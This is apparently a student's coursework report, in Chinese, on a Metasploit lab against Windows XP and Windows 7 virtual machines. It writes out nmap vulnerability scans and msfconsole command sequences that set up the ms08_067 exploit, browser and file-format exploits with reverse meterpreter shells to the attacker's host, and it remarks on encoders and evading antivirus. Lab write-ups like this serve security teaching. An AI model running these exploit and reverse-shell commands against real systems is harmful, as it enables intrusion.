实践内容
本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:
-
一个主动攻击实践,如ms08_067;
-
一个针对浏览器的攻击,如ms11_050;
-
一个针对客户端的攻击,如Adobe;
-
成功应用任何一个辅助模块。
以上四个小实践可不限于以上示例,并要求至少有一个是和其他所有同学不一样的,否则扣除0.5分。
实践步骤
主动攻击实践
一切攻击的前提是要找到一个攻击对象,并且得ping通
- 这里我使用的是同学提供的
Windows XP Professional
的虚拟机,就意味着我需要使用针对Windows XP版本计算机的漏洞进行攻击
首先扫一下虚拟机里有什么漏洞(nmap):
nmap --script=vuln 192.168.5.32
扫描结果如下:
-
预扫描结果:
-
主机结果:
可以看到windows虚拟机存在两个漏洞,分别是smb-vuln-ms08-067
和smb-vuln-ms17-010
对应着msf工具中的exploit/windows/smb/ms08_067_netapi
和exploit/windows/smb/ms17_010_eternalblue
- 我先用
exploit/windows/smb/ms08_067_netapi
测试了一下
msfconsole
use exploit/windows/smb/ms08_067_netapi
set payload windows/meterpreter/reverse //这里可以使用show payload查看使用不同的payload
show options //查看有哪些参数需要设置
set rhosts 192.168.5.32
set lhost 192.168.5.29
set lport 5120
run
之后运行获取windows shell
- 后面用
exploit/windows/smb/ms17_010_eternalblue
测试了一下
但是没有攻击成功,在攻击的过程中,漏洞是发现了的,但没有生成会话
然后就出问题了
暂时没有找到解决办法........我猜测错误原因可能在于Windows版本对不上.
这个模块的target是Windows 7 and Server 2008 R2 (x64) ,而我的靶机是xp........
针对浏览器的攻击
这里需要用到exploit里windows的browser模块
我用的是ms14_064_ole_code_execution,因为我的靶机是windows xp
,而这个攻击模块的靶机也是
可以通过show targets
查看其targets
之后使用show options
查看需要设置的参数
show payloads
set payload windows/meterpreter/reverse_tcp
show options //查看需要设置的参数
set SRVHOST 192.168.5.32 //设置靶机IP
set lhost 192.168.5.29 //设置攻击机IP
set lport 5120
exploit
没有成功.........地址已经被使用了???
emmm........这个问题暂时没有解决
- 然后我尝试了另一个模块进行攻击,
exploit/windows/browser/ms11_093_ole32
我查了一下它的target,发现正好对应我虚拟机的版本
我用的虚拟机是Windows XP SP3
,浏览器版本是IE6.0
然后按照流程,先设置payload,查看参数
然后设置参数,运行
同样的问题,我还是不知道怎么解决........
我自己又重新下载了一个windows xp sp3
的虚拟机,进行了同样的操作......
在进行browser攻击的时候,还是出现了同样的问题.....地址占用.......网上没有找到解决方法.....
云班课回答也解决不了(我试过找到8080端口对应的进程,但是没有找到这个进程,自然也就没办法杀掉....然后我把模块对应的SRVPORT改成135、139、2869,也一样不行)
然后觉得可能是windows版本的问题,我就下载了windows7 x64 professional
版本
我尝试了一个之前用过的模块windows/browser/ms14_064_ole_code_execution
用show targets
看了一下,靶机选择win7没问题
然后走流程
show payloads
set payload windows/meterpreter/reverse_tcp
show options
set SRVHOST 192.168.5.49
set lhost 192.168.5.44
set lport 5120
exploit
又出现了同样的问题,而且不管是换什么模块都一样....暂时放弃......已经在这个部分困了四天了.....
客户端攻击实践
- adobe模块
通过文件进行主机回连,获取shell
攻击机:kali
靶机:windows xp sp3
模块使用windows/fileformat/adobe_pdf_embedded_exe
我先用show targets
看了一下可选靶机
有我现在用的winxpsp3
依旧走流程.......
把生成的文具通过共享文件夹放到靶机里面....记得安装共享文件夹需要先安装VMtools........
然后发现打不开pdf文件,同时因为浏览器版本问题下不了安装包,也解压不了压缩包......然后我就通过共享文件夹把安装包解压为exe文件放进去..终于安装成功了
然并......打开的时候
估计是文件对计算机有攻击性,就直接被检测出来了......
这边还是没有回连......
我........继续尝试......
- 使用
exploit/windows/fileformat/office_excel_slk
模块进行攻击
攻击对象是Microsoft Excel
,针对的漏洞在Excel应用里.
show options
查看需要的参数
这又是需要通过浏览器来传输文件以达到攻击目的的....然后就遇到了之前的问题....
嗯,地址被占用.....失败了......继续尝试
exploit/windows/fileformat/videocharge_studio
模块
先show options
查看参数
针对目标机的VideoCharge Studio 2.12.3.685
进行攻击
走完流程之后.....嗯,可以抢救一下
把文件copy到靶机里面...然后下载VideoCharge Studio 2.12.3.685到靶机
安装就一直enter
就好了,后面打开这个文件
try
之后,就没反应了.......?kali 没有显示回连......
应用辅助模块
scanner/ip/ipidseq
这个模块的目的是寻找网段僵尸机
先看看需要设置什么参数show options
然后设置好参数
set rhosts 192.168.5.0/24
run
虽然不太明白后面的几个参数有什么用,但是根据All zeros
、Randomized
、Incremental!
这几个参数应该可以判断出是否为僵尸机
基础问题回答
用自己的话解释什么是exploit,payload,encode.
- exploit
攻击实现模块:
将生成的针对各种攻击对象的攻击代码通过各种方式传输到靶机上,并实现靶机权限获取
- payload
攻击代码模块(载荷):
针对不同平台,使用各种攻击方式进行代码实现
- encode
编码模块:
使用不同编码器对payload进行编码,实现免杀的目的
实践总结与体会
这次实验做得很累,因为涉及到的东西太多了.....真的难。
在实验的过程中,我安装了四个虚拟机进行测试,iso文件下的是真的心累..慢到枯了...然后就是几个攻击模块的实践。
本来第一个ms08_067_netapi的模块是比较顺利的,但当我开始试着自己找模块一个个试的时候,问题就一个个蹦出来了。
首先就是不知道靶机有什么漏洞可以让我钻,不过还好的是找到一条nmap指令可以扫描出漏洞来....然后就是那个ms17那个永恒之蓝的攻击没有成功,攻击浏览器是最心累的,每次都会碰到那个地址被占用的问题。。。。我试了各种方法,重复多遍、重启、重装虚拟机、换虚拟机版本、改虚拟机IP、kill虚拟机端口对应进程........都没办法解决。
然后进行客户端攻击的时候,也是问题不断,下载的adobe工具没有漏洞,下载的vsc工具不知道出了什么问题,涉及到浏览器的文件传输一概按地址被占用处理.....
再就是,想用虚拟机下点东西真心不容易,因为IE浏览器版本问题(为了保证漏洞可以利用),下载软件只能用主机和共享文件夹来实现.....反正就是各种问题。这次实验的时间跨度很大,一个问题要用很长的时间来解决。
这次实验结果不算成功,但我真的已经尽力了,一天能用半天时间来做实验....
通过这次实验,我也对msf这个工具有了更多的理解,使用流程也比较熟悉了,但是就是不知道为什么我那么多问题在同学的博客里都找不到......可能是我还是有哪里不太对但我没发现.....
离实战还缺些什么技术或步骤?
1.首先就是防火墙的问题,我们的payload怎么成功运输到靶机里面?必然需要做好免杀,保证防火墙不会发现payload,要不然ping都ping不通
2.漏洞扫描问题,针对不同版本的计算机的扫描技术已经更新好多代了,很多漏洞,使用现有的nmap都扫描不出来
3.系统版本问题。我们这些实验的靶机都是被淘汰好多年的版本.....漏洞特别多,所以容易攻击。然而现在的计算机版本基本上都没什么漏洞了...这些攻击方法基本行不通